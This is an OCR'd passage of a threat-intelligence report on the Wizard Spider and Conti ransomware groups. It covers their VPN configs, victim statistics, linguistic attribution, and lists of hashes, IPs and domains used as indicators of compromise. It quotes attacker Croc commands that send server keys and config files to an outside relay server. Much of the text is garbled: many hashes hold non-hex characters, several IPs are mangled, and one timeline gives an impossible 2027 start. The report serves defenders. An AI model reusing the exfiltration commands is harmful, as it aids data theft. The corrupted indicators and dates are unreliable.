Table 7. Some of the proxy servers used for transferring the victim's stolen data.

USTA.
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3.3.3 VPN Infrastructure

It appears Wizard Spider manages all internal and external traffic through extensive
Wireguard configurations and VPN connections. They even provide access to newly added
extortion servers through Wireguard instead of accessing them externally. The below lines
show the sample Wireguard config file.

[Interface]

Address = 10.1.2.1/24
ListenPort = 51871
PrivateKey = <redacted>

[Peer]

PublicKey = <redacted>
AllowedIPs = 10.1.2.2/32
Endpoint = 45.147.160.5:51902
PersistentKeepalive = 25

Console 1. Sample Wireguard config file.

The team uses a publicly available Croc tool to transfer the FTP or VPN configuration files
apart from the private keys. They attempt to hide their traces by setting a relay server at the
81.4.109.61 (RamNode -Netherlands) IP address. This relay server contains multiple instances
running on different ports (2009, 2010, 2011, 9012, and 9013). The PTl team observed threat
actors regularly transferring configuration files for operational needs. Some of the observed
executed Croc commands are listed below :

e croc —pass xxx —relay "81.4.10961:9009" send /etc/vsftpd

e croc —pass xxx —relay "81.4.109.61:2009" send vsftpd

e croc —pass xxx —relay "81.4.109.61:9009" send vsftpd.conf vsftpd.userlist
e croc —pass xxx —relay "81.4.109.61:9009" send server.pem

e croc —pass xxx —relay "81.4.10961:2009" send .confstargz

3.3.4 QBot Relation

While investigating QBot's database, the PTI team observed that the threat actors
obtained several PST files from the Wizard Spider's extortion servers. The PST files contained
email information used in phishing campaigns and critical file detection tasks. The QBot
panel occasionally parses these PST files obtained from victims, including victims who have
paid the ransom, to send targeted spam emails. The resulting files are added directly to this
database and transferred to remote servers via FTP.
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3.4 De-Anonymization

One of the main objectives of our investigation was to reveal the identity of Wizard
Spider aoffiliates, retailers, developers, and servers. Our infrastructure analysis revealed a
great deal of exclusive, never-before-seen information regarding the group and its technical
infrastructure, in addition to the following information :

e Highly-secret credentials/documents for at least 30+ victims.

e 400+ different binaries including BazarLoader, Qbot, PowerShell scripts, Cobalt Strike
beacons, executable files, exploits, and custom toolkits.

¢ VPN and file transfer tool's configurations files.

e 750+ victim's kerberos tickets, domain admin passwords, hashes, etc.

e Anonymous credentials used for operational needs.

e 5 bitcoin addresses likely owned by a threat actor who plays a role processing victim
payments.

The PTI team observed that one of the threat actors (prince) intended to use following
bitcoin addresses. Our investigation revealed that some of these bitcoin addresses are
used in VerifiedForum (elite underground forum), HydraMarket (darknet market), LuxSocks
(anonymous proxyprovider), and several exchange services like Cryptex, WikiExchange,
Binance, Bizlato, and ChangeHero.

bclafngle3n86u0fbelxesz2tt8curdvn3gOer@whf 48 | 0.24/0
bclgéd045gsés7f75wmsdcdzdzzn@4smjatxgytxdl | 137 | 5.04/0.0007
bclquf2ffc75jw8nsfpf8fryunwsvpltxmw/adfxw8 28 | 0.11/0.047
3EQGY29xu7CBLsIRjgnHivkSmsRt2vCGNA 2 0.001/0
3JE7ipFTGaQQjzJto5gmsuP2pxHCDCoUWw 2 0.002/0

Although this particular threat actor uses Rclone, Rsync, and Mega configurations in
encrypted zip files, the PTI team successfully obtained access to all of these files. One of the
credentials that correspond to the Mega accounts detected on the intrusion server are
listed below :

[remotel
type = mega
user = vueidutt@sharklasers.com

pass <redacted>

Console 2. Example Rclone config used for accessing Mega.
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The threat actors keep all anonymous operational accounts in an Excel table and use
advanced OPSEC tactics like creating an anonymous identity for each account and logging
into accounts only from specific IP addresses with auto-generated PIl data. Figure 19 shows
the sample operational credentials of the threat actors.

E-mail Password First Name  Last Name  Birthday Phone Number IP Address
DPoutlook.com I Mertie Kosareff 27.03.2001 793 84181 1.96
| s@outlook.com 2 fp Rosaria Krallman 05.02.1995 799 04102 3.182
@outlook.com el 20 Eveline Kaer 16.04.1997 793 5464.] 46
Youtlook.com j2 u Harve Zbinden 01.11.1998 793 78154 37
Joutlook.com iz nd Markita Pomar 01.08.1996 792 129185 37
r@outlook.com |y Ranae Claar 11.09.2002 795 125154 111
doutlook.com sl u8 Gena Nepa 18.06.1996 793 93181 220
'y@outlook.com K 4 Fancy Tokich 24.07.2001 792 87191 22
Joutlook.com ct mnc Richardine  Toback 10.05.1993 793 12164.1
| sutlook.com V n0bq Janette Eadens 21.06.1996 792 112102 210
routlook.com sy 1 Johnny Olinsky 16.07.1996 795 82154 22
Poutlook.com W vz Harley Tadt 22.10.1998 799 92154 12
li@outlook.com  th 27 Gladis Pali 16.03.1998 790 35102 ).210
@outlook.com v 1ax Hewie Asai 10.12.1998 792 ‘66 64.] 0
mirc@outlook.com ki wnx Yvonne Szwarc 09.07.1997 793 155185 97
look.com the )] Sibyl Kaszynski 07.12.1999 793 87134 26
@outlook.com tF Belinda Dorion 15.03.2000 793" 162102 ).167
@outlook.com D, a Brigham Gnas 23.08.1996 792 12191 42
7@outlook.com k! Hiroko Ridley 25.10.2002 793 194 /50.1 71
h@outlook.com |V 'qm Foster Barich 05.12.2001 790 02181 47
m@outlook.com p Contessa Spanton 05.02.1997 793 2564.1 77
utlook.com cl tq Allen Tallada 21.05.1995 793 182/50.1 99
@outlook.com P Larry Crass 07.10.1996 792 139191 25
Doutlook.com ic Luis Chen 18.09.1993 790 03191 3.162
k@outlook.com ki 1a Contessa Spotorno 24.02.2002 793 28134 254
@outlook.com jz Natalie Weidenbach 15.01.1998 792 33181 »78
doutlook.com g —y Lettie Maushardt 25.03.2002 790 29181 233
toutlook.com q a Jaunita Vizcarra 09.12.1999 793 03134 ).164
u t@outlook.com d; 1K Kae Howat 11.05.1996 799 08 185 110
ro@outlook.com x: 8 Margrett Grossen 14.07.1994 793 :8779.1 70
itlook.com C il Jamar Brackney 08.06.1995 799 114 64.1 54
doutlook.com W, 153k Sonya Hedrington 22.10.1996 792 135185 64
outlook.com u d Ammie Harleman 09.10.1994 795 4064.] 23
itlook.com yi | Tamar Hervert 09.09.2000 792 166102 ).212
| ies@outlook.com h ghO Pamela Mesoloras 17.10.1993 792 4650.1 5
doutlook.com il 18v Slyvia Salquero 07.06.2001 799 78185 89
Joutlook.com j€ W Garfield Demichiel 17.10.1999 792 47191 6
Doutlook.com x| 3k Shandi Groeneweg 16.10.1999 792 83181 .80
@outlook.com sl 'j Shaquille Zelenka 14.01.1995 792 86181 1.96

Figure 19. Generated operational credentials found in intrusion server.
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3.5 Author Profiling and Linguistic Evidence

Deep sensors planted by the PTI team can capture, interrupt, and react to information
traffic between the cybercriminals in secret and public communication channels. We
accumulate linguistic evidence to strengthen our criminal profiling capabilities as part of our
cyber attribution efforts. AUCH (Autorenprofile fur die Untersuchung von Cyberkriminalitat
CH) is our recently developed deep neural networks empowered author profiling technology.
AUCH can analyze the language of cybercriminals to reveal important information regarding
their identities. It operates based on data and cyber-insight we have acquired over the
years with our unparalleled proactive approach against cybercrime. Our initial report ' on
the Conti cybercrime group covered the possible connections to the Russian Federation
and the Russian language, and we have extended our earlier analysis in this report and
reinforced our attribution.

As some of you may have heard from the news, there was a recent
NEUTRAL_EVENT

attempt to expose our infrastructure by a cybersecurity firm. Looks

THREAT_EVENT ACTOR
ASSET

like Europeans have also decided to abandon their manners and go
ACTOR NEUTRAL_EVENT

full-gansta simply trying to break our systems. Well, its good to

LINGUISTIC_UNNATURALITY THREAT_EVENT
ASSET

finally have a legit opponent; after all it gets boring when you only
NEUTRAL_EVENT NEUTRAL_EVENT

deal with chimpanzees whose top capabilities are scraping forums

NEUTRAL_EVENT THREAT_EVENT
PLATFORM

and indicting Iranian students who hacked once another election for

THREAT_EVENT THREAT_EVENT
ACTOR

fun.

Figure 20. Conti ransomware team statement from their website.

1. https://wuw.prodaft.com/resource/detail/conti-ransomware-group-depth-analysis
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The individuals behind the Conti group are known to be well-trained and well-resourced,
and they seem to have a certain level of proficiency in the English language. However, AUCH
was able to identify various linguistic cues to reveal the native language of the author based
on the acquired messages. Our inference engine recognized the suspected connections
and concluded that a native Russian speaker wrote the statements. AUCH exploits the
recent developments in XAl (Explainable artificial intelligence) to generate human-friendly
explanations on the gradient and attention level to provide our threat intelligence analysts
with the necessary information to work towards robust cyber-attribution. [2, 1] We will be
limiting our argumentation with three different meaningful examples generated by AUCH to
show how our system captures different linguistic relationships.

3.5.1 Syntax

Conti Statement : As a response to Western warmongering and American threats to use
cyber warfare against the citizens of (missing : the) Russian Federation.

The profiler identified the misuse of "determiners” in the English statements published by
Conti and seemed to put it to use to narrow down the list of potential languages. The final
prediction of our system, the Russian language, is known to be lacking the use of determiners.
The inconsistent use of determiners is a well-known mistake amongst English L2 speakers.

3.5.2 Grammaticality

Conti Statement : We will use our resources in order to strike back if the well-being and
safety of peaceful citizens (will) be at stake due to American cyber aggression.

The profiler points out the faulty tense sequence in the dependent clause of the conditional
sentence.

3.5.3 Choice of Vocabulary
I Conti Statement : Therefore, it did not publish in free access.

In this example, the inference engine pays special attention to the phrases "did not publish”
and "free access.” It seems to be the leading cue for our final inference of the Russian
language. This situation can be explained by the literal translation of the Russian sentence
(8 cBOBOOHOM pocTyne.). On the other hand, a native speaker of English would probably
prefer the sentence "It was not published freely/publicly/in the public domain.”

AUCH is currently a preliminary stage research project supported by the Swiss
Innovation Agency, Innosuisse. We collaborate with our partners at the University
of Zurich to integrate cutting-edge linguistics research into cybersecurity. In the
upcoming months, we will be able to showcase more features we work on to support
our investigations and consolidate our scientific approach against cybercrime.
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4 Statistics and Observations

The PTI team correlated victim details obtained from multiple affiliate accounts and
servers to determine that the Wizard Spider group has successfully infected thousands of
devices around the world. Almost all of the group's targets are enterprise-level corporations.
We were able to use this data to glean insight into some of the behavioral patterns,
workflows, and activity timelines characteristic of Wizard Spider threat actors.

4.1 Victim Statistics

Wizard Spider uses a cluster of SystemBC servers to control thousands of client devices
around the world.[6] If a victim appears to be a valuable target, threat actors will deploy
Cobalt Strike or similar software to escalate privileges and move laterally through the network.

The PTI team identified more than 128036 SystemBC victims in total. The SystemBC victim
data shows Wizard Spider threat actors mostly targeted Russia 20.5% and the United States
12.9%. Although it is seen that threat actors statistically identify victims originating from Russia
at a high rate, none of them are encountered in the Cracking or Encryption stages of the
attack cycle. All details regarding victim origins are shown in Figure 21.

Figure 21. SystemBC victim distribution by country (Total Victim : 128036).

While these two countries are by far the most popular targets, it's worth pointing out that other
major economies like Chinag, India, and Brazil are also well represented. Wizard Spider has a
significant presence in almost every developed country in the world, and many emerging
economies as well.
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SystemBC data also indicated when Wizard Spider threat actors were most active. While
there is activity stretching back to the end of 2027, it mostly represents small-scale attacks.
These could be experiments designed to test and fine-tune various aspects of Wizard
Spider’s operation, because full-scale attacks targeting thousands of users at a time began
shortly thereafter, in late January and early February. After a short pause, a major initiative
took place at the end of February, resulting in tens of thousands of new victims by early
March. Figure 22 depicts the monthly victim statistics.

10,000

5,000

26 2 9 16 23 30 6 13 20 27 6
Dec Jan Feb Mar

Figure 22. Monthly SystemBC victim statistics of Wizard Spider.
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4.2 Cracking Station Activity

Wizard Spider operates its own separate cracking station and makes it available to
affiliates and users, possibly for a price. The PTl team was able to track cracking station
activity timelines and generate a chart showing peak usage hours.

Interestingly, it looks like relatively few threat actors made use of Wizard Spider’s specialty
cracking tool. There is a slight increase in users logging on weekday afternoons, but
not enough to indicate regular, sustained use. It's also likely that users did not have to
remain logged into the cracking station long when using it, making overall activity look scarce.

count
Sunday 100
Saturday
80
Friday
60
Thursday
40
Wednesday
Tuesday 20
Monday
0

00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23

Figure 23. Activity graph of cracking station.

@ ProDAFT USTA. 27 /35

DISCLAIMER : This document and its contents shall be deemed as proprietary and privileged information of PRODAFT and shall
be subjected to articles and provisions that have been stipulated in the General Data Protection Regulation and Personal
Data Protection Law No. 6698. It shall be noted that PRODAFT provides this information "as is" according to its findings, without
providing any legally applicable warranty regarding completeness or accuracy of the contents. Therefore, neither this report

nor any of its contents can be used as admissible proof before legal authorities.

https://t.me/learningnets



TLP:WHITE Wizard Spider Case Report

5 Conclusion

Our investigation into Wizard Spider had yielded valuable new information about how the
group works, what tools it uses, and how its members distribute tasks between themselves.
These insights will help cybersecurity professionals and enterprise executives make better
risk management decisions. New indicators of compromise will give threat intelligence
operatives better visibility into Wizard Spider attack patterns, improving operational security
across the board.

It's difficult to overestimate the impact of publishing these findings on a group as large and
well-funded as Wizard Spider. With hundreds of thousands of devices infected and a highly
distributed professional workflow, even the most conservative estimates indicate Wizard
Spider commands hundreds of millions of dollars in assets.

The Wizard Spider team has shown itself capable of monetizing multiple aspects of its
operations. It is responsible for an enormous quantity of spam on hundreds of millions of
millions of devices, as well as concentrated data breaches and ransomware attacks on
high-value targets. We've quantified the scale of each attack stage in Figure 2.

The PRODAFT Threat Intelligence team continues to research Wizard Spider’'s capabilities
and infrastructure to identify new and better defenses against its attacks. Security
professionals and enterprise IT leaders can use this data to catch early indicators of
compromise that correspond to Wizard Spider operations and the tactics of the various
sub-teams it works with, including the Conti ransomware group.
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6 10C

6.1 Conti Ransomware Hashes

MDS5 : b50feeab0b2caf/b4566b5c12f1d8cd/
SHA1 : 6263f5clec3dd4f85bfddf2b8dcaae2619272ff7
SHA256 : 66eb6cd3ectdf3Pb483ed/b48ca02a6a491/129f62f800c6033c4f78f2f9282f5

MDS5 : 958a0602237fcf5cd9db4fdd3cd8casf
SHA1 : bed4208laacbebet010f64a1e397fa0ckh92b57d7
SHA256 : 799fa/73ddf4a98d0d71f213c3a70675af3ac42db0531f5d2e4ae7c81256a4549

MD5 : 0dfOblbe98e2f9502362d8e4e20dc3251
SHA1 : 5d0cal18052ba178bb9c?07d73d7e0016ddc5aeea
SHA256 : 29d961301668093d813d662b5ef5e282ac8lacddcbdbid?e0a2157c84b74c85f6

MDS5 : cd1d39cd2719b0bf4f6022665059ce5f
SHAI1 : 15329bea3/ef2f759beaa5e2465bf27ed30c4f69
SHA256 : 992c4f/a005566abed8ela419cfbbaflécdHl7bdaa3elb05chb2fdasf8a/89a3

MDS : 4409346496911307cda7480a34003%af
SHA1 : fff51a99be3c60dbecbcdef?2d1f57d180bf5672
SHA256 : 340223e6593efe3ces9d203de01d8cb501524ef445a3f735bb17850d875266d7

MDS : 07c805af5a18cal17be3bd849273fd24
SHA1 : 473e28830bd7d08baccebad41d86153bb/a11574
SHA256 : f2c7bbl18lcaladc874739cc13849c2d015¢cP08beb5a17fa19590e7/a470c8e071

MDS5 : 7bcf458ae5cab67fcdlb5f033594e8c76
SHA1 : 4flbc8491254152ee8f408e8ed7b21758dc8dbc3d
SHA256 : ce4b4lcs783a6060f32e2aad72102deelbd0b286d3c604158793999ca148505¢

MDS : 4202201b3dcdec3c3c4/bd3111865fbd
SHA1 : fffQ14f4c10a666a0113fb24ca4221cb2b951a39
SHA256 : 4fc1d216bcOcS11f652fasScffé4628adf/dd/ad372b66403521aelb8afaa3dld
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6.2 Locker Servers

104.243.33.253
104.243.41.56
104.243.42.187
104.243.46.66
185.253.96.117
192.111.154.58
209.222.97.162
23.82.140.32

6.3 Proxy Network

85.25.246.169
51.178.131.228
45.147.160.196
45.147.160.5

6.4 Extortion Servers

51.91.7.70
141.94.143.79
141.94.162.156
199.127.63.16
104.243.34.234
104.243.42.138
46.148.235.93

6.5 Intrusion Servers

162.241.225.192
23.106.215.66
cupertinosmile.com
xeyaze.com

6.6 CobaltStrike Servers

103.195.101.254
104.171.123.110
104.194.11.220
104.194.9.196
104.243.32.108
104.243.37.150
104.243.38.69
104.243.40.150
104.243.40.249
162.248.246.186
162.248.246.214
172.93.101.26
172.93.103.50
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185.150.191.44
192.198.86.130
192.198.88.110
199.127.61.113
199.127.63.194
206.221.180.186
45.58.124.98
5.199.162.14
bajanoh.com
barovur.com
bebiyib.com
befatu.com
bejafek.com
cirite.com
cufeze.com
divayuw.com
diyexake.com
fedugig.com
gefugowej.com
gihevu.com
gojahuteh.com
guvafe.com
haxiwiz.com
hayutawewe.com
hiduwu.com
hivazaku.com
hotofebax.com
hoyahe.com
hubojo.com
kakezik.com
kefugev.com
kelezel.com
kikadin.com
labavad.com
laseku.com
lawapuyal.com
lihafedava.com
luxisew.com
luyilehuse.com
mayiwil.com
mihojip.com
minogohacu.com
mujegili.com
nurahu.com
payufe.com
pelowitoye.com
pisofatiwi.com
raniyev.com
refebi.com
rehuwejuf.com
ribotekuso.com
samanudi.com
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sawamini.com
semofuy.com
subopofaz.com
tacigi.com
tomezica.com
totupuz.com
tovuvil.com
tumutusova.com
vakomoyan.com
viyilonip.com
vojexe.com
wakacuk.com
wezeriw.com
woginud.com
wokubaxute.com
woxXoporiz.com
xXarovaw.com
xicetigi.com
xihumiha.com
xXoperuz.com
Xuyegey .com
yawero.com
yipujufaj.com
yuxicu.com
yuxububo. com
zolewiso.com
zupijaz.com
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Today's security professionals face a constant flood of
“partially relatable” threat alerts and notifications from multiple
vendors. The non-stop flow of unverified alerts creates an
extremely demanding workload for security teams.

PRODAFT's threat intelligence platform reduces the time
and energy spent on analysis, interpretation, and verification
of potential threats. It gives security operatives on-demand
insight into threat profiles on an individual basis.
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T il For more information, visit www.prodaft.com
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